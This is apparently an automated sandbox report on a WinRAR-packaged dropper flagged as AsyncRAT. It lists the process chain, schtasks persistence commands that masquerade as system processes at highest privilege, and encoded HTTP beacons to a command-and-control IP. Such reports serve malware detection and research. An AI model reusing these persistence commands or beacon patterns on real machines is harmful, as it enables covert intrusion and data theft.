Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 3, 2021, 10:37 a.m.	April 3, 2021, 10:42 a.m.

Size	942.1KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`f4787944e95596ad1847910ce4180a20`
SHA256	`08acc4229c4d8424570ee93f20f7c60a0e9e0605f7dc8594d14d52209b72ce00`
CRC32	`78BD4FB4`
ssdeep	`12288:aRZ+IoG/n9IQxW3OBsee2X+t4RbnKhWkcbVXyNd2wHfoS/N09OqnF:U2G/nvxW3Ww0tK8keXyNdr09O+F`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Win32_Trojan_Gen_2_0904B0_Zero - Win32 Trojan Gen Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet escalate_priv - Escalade priviledges screenshot - Take screenshot keylogger - Run a keylogger sniff_audio - Record Audio win_registry - Affect system registries win_token - Affect system token win_files_operation - Affect private profile PE_Header_Zero - PE File Signature Zero OS_Processor_Check_Zero - OS Processor Check Signature Zero IsPE32 - (no description) IsWindowsGUI - (no description) HasOverlay - Overlay Check HasDebugData - DebugData Check HasRichSignature - Rich Signature Check

loaddd.exe "C:\Users\test22\AppData\Local\Temp\loaddd.exe"
1116
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\FontsavesInto\m8aBJ5FB2D94qk25GJ.vbe"
  1772
  - cmd.exe cmd /c ""C:\FontsavesInto\5X6xHq8OosomjmO.bat" "
    3028
    - FontsavesIntorefperf.exe "C:\FontsavesInto\FontsavesIntorefperf.exe"
      2772
      - schtasks.exe "schtasks" /create /tn "audiodg" /sc ONLOGON /tr "'C:\util\ProcessMonitor\audiodg.exe'" /rl HIGHEST /f
        2444
      - schtasks.exe "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\spbcd\winlogon.exe'" /rl HIGHEST /f
        2852
      - schtasks.exe "schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe'" /rl HIGHEST /f
        1016
      - schtasks.exe "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\FontsavesInto\sppsvc.exe'" /rl HIGHEST /f
        1788
      - schtasks.exe "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\iassdo\taskhost.exe'" /rl HIGHEST /f
        2876
      - taskhost.exe "C:\Windows\System32\iassdo\taskhost.exe"
        656

Name	Response	Post-Analysis Lookup
ipinfo.io	A 216.239.34.21 A 216.239.36.21 A 216.239.38.21 A 216.239.32.21	216.239.36.21

IP Address	Status	Action
164.124.101.2	Active	Moloch
212.109.198.4	Active	Moloch
216.239.32.21	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (22 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 3, 2021, 10:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:30 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:40 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 3, 2021, 10:41 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 3, 2021, 10:30 a.m.			0	0
IsDebuggerPresent April 3, 2021, 10:30 a.m.			0	0
IsDebuggerPresent April 3, 2021, 10:40 a.m.			0	0
IsDebuggerPresent April 3, 2021, 10:40 a.m.			0	0

Command line console output was observed (7 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 3, 2021, 10:37 a.m.	buffer: C:\FontsavesInto> console_handle: 0x00000007	1	1
WriteConsoleW April 3, 2021, 10:37 a.m.	buffer: "C:\FontsavesInto\FontsavesIntorefperf.exe" console_handle: 0x00000007	1	1
WriteConsoleW April 3, 2021, 10:40 a.m.	buffer: SUCCESS: The scheduled task "audiodg" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW April 3, 2021, 10:40 a.m.	buffer: SUCCESS: The scheduled task "winlogon" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW April 3, 2021, 10:40 a.m.	buffer: SUCCESS: The scheduled task "WmiPrvSE" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW April 3, 2021, 10:40 a.m.	buffer: SUCCESS: The scheduled task "sppsvc" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW April 3, 2021, 10:40 a.m.	buffer: SUCCESS: The scheduled task "taskhost" has successfully been created. console_handle: 0x0000000000000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 3, 2021, 10:30 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 3, 2021, 10:41 a.m.	stacktrace: 0x7fe9138874a 0x7fe9138852b 0x7fe91388461 0x7fe9138010a mscorlib+0x4ef8a5 @ 0x7feef92f8a5 mscorlib+0x4ef609 @ 0x7feef92f609 mscorlib+0x4ef5c7 @ 0x7feef92f5c7 mscorlib+0x502d21 @ 0x7feef942d21 CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef0a0f713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef0a0f242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef0a0f30b NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef0bd6291 DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef0ab6d80 DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef0ab6d0e DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef0ab6c85 DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef0ab6dbb NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef0bd6175 StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef0b466ae BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76e5652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x771ec521 exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 64 e4 exception.instruction: cmp byte ptr [rax], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe9138874a registers.r14: 0 registers.r15: 0 registers.rcx: 0 registers.rsi: 0 registers.r10: 8789939814216 registers.rbx: 0 registers.rsp: 485030432 registers.r11: 485025232 registers.r8: 40915924 registers.r9: 40915908 registers.rdx: 40915896 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

April 3, 2021, 10:41 a.m.

stacktrace:

0x7fe9138874a
0x7fe9138852b
0x7fe91388461
0x7fe9138010a
mscorlib+0x4ef8a5 @ 0x7feef92f8a5
mscorlib+0x4ef609 @ 0x7feef92f609
mscorlib+0x4ef5c7 @ 0x7feef92f5c7
mscorlib+0x502d21 @ 0x7feef942d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef0a0f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef0a0f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef0a0f30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef0bd6291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef0ab6d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef0ab6d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef0ab6c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef0ab6dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef0bd6175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef0b466ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76e5652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x771ec521

exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 64 e4
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe9138874a
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8789939814216
registers.rbx: 0
registers.rsp: 485030432
registers.r11: 485025232
registers.r8: 40915924
registers.r9: 40915908
registers.rdx: 40915896
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	Connection to IP address	suspicious_request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&df291987e61fe3fa86a12e753893d489=3c154e90415fa2912e999e3383352e97&2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD
suspicious_features	Connection to IP address	suspicious_request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&f174707e5dee4d8710863a0af31ac54c=727dacb00565af20bab4ba18ed8be1b4&3db0f973c4e34642d24a4618e1307f0f=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD
suspicious_features	Connection to IP address	suspicious_request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&7ffe2e213b2d7124b8458e71eb1d24b4=AO3UzN1kTM3UTYwcjZ3IWOyUWYiRGZ3UDZhRjN2czNzQTOxgDNzEzM5EDMzIjN2cTOzYDO4ETO&3db0f973c4e34642d24a4618e1307f0f=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1f6a2b4a79351cb1a30abad5ca5bad7c=u4iL5J3b0NWZylGZgcmbp5mbhN2U&95d01452a3f29780bc9085d70301686b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&d5c67abbd35ecc87b0857e4664defa3a=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ
suspicious_features	Connection to IP address	suspicious_request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&7ffe2e213b2d7124b8458e71eb1d24b4=AO3UzN1kTM3UTYwcjZ3IWOyUWYiRGZ3UDZhRjN2czNzQTOxgDNzEzM5EDMzIjN2cTOzYDO4ETO&3db0f973c4e34642d24a4618e1307f0f=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&ebf9db6de1c86508a0268cd240635c6b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&e360708f8a8308221d9d6de9a3db6e4e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&1f6a2b4a79351cb1a30abad5ca5bad7c=9JicldWYuFWTg0WYyd2byBlI6IydvRmbpdFVDFkIsISWiojIulWbkF0cpJCLi4kI6ISbhNmYld1cpJCLiklI6ISZu9Gaw9mcjlWTzlmIsIiI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsISNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&95d01452a3f29780bc9085d70301686b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&d5c67abbd35ecc87b0857e4664defa3a=QM0EDN2cjZ1IWN3IDN1UTO1EGNiZDMiZmM0EGNzkzNlFjNwUWYyAzY

Performs some HTTP requests (5 events)

request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&df291987e61fe3fa86a12e753893d489=3c154e90415fa2912e999e3383352e97&2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD
request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&f174707e5dee4d8710863a0af31ac54c=727dacb00565af20bab4ba18ed8be1b4&3db0f973c4e34642d24a4618e1307f0f=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD
request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&7ffe2e213b2d7124b8458e71eb1d24b4=AO3UzN1kTM3UTYwcjZ3IWOyUWYiRGZ3UDZhRjN2czNzQTOxgDNzEzM5EDMzIjN2cTOzYDO4ETO&3db0f973c4e34642d24a4618e1307f0f=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1f6a2b4a79351cb1a30abad5ca5bad7c=u4iL5J3b0NWZylGZgcmbp5mbhN2U&95d01452a3f29780bc9085d70301686b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&d5c67abbd35ecc87b0857e4664defa3a=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ
request	GET http://212.109.198.4/Authgameprotecttraffic.php?2HZ9q3Kqhdvc=HxWTdGoYWEfis322&qzxbGmHcY383vAjWpdfQEC=l7fC3b8ARx2x6pDBKO1EMqflE6MD&7ffe2e213b2d7124b8458e71eb1d24b4=AO3UzN1kTM3UTYwcjZ3IWOyUWYiRGZ3UDZhRjN2czNzQTOxgDNzEzM5EDMzIjN2cTOzYDO4ETO&3db0f973c4e34642d24a4618e1307f0f=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&ebf9db6de1c86508a0268cd240635c6b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&e360708f8a8308221d9d6de9a3db6e4e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&1f6a2b4a79351cb1a30abad5ca5bad7c=9JicldWYuFWTg0WYyd2byBlI6IydvRmbpdFVDFkIsISWiojIulWbkF0cpJCLi4kI6ISbhNmYld1cpJCLiklI6ISZu9Gaw9mcjlWTzlmIsIiI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsISNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&95d01452a3f29780bc9085d70301686b=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&d5c67abbd35ecc87b0857e4664defa3a=QM0EDN2cjZ1IWN3IDN1UTO1EGNiZDMiZmM0EGNzkzNlFjNwUWYyAzY
request	GET https://ipinfo.io/json

Allocates read-write-execute memory (usually to unpack itself) (50 out of 192 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 3, 2021, 10:37 a.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x728c2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:37 a.m.	process_identifier: 1772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cf2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000640000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000720000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002210000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000022f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
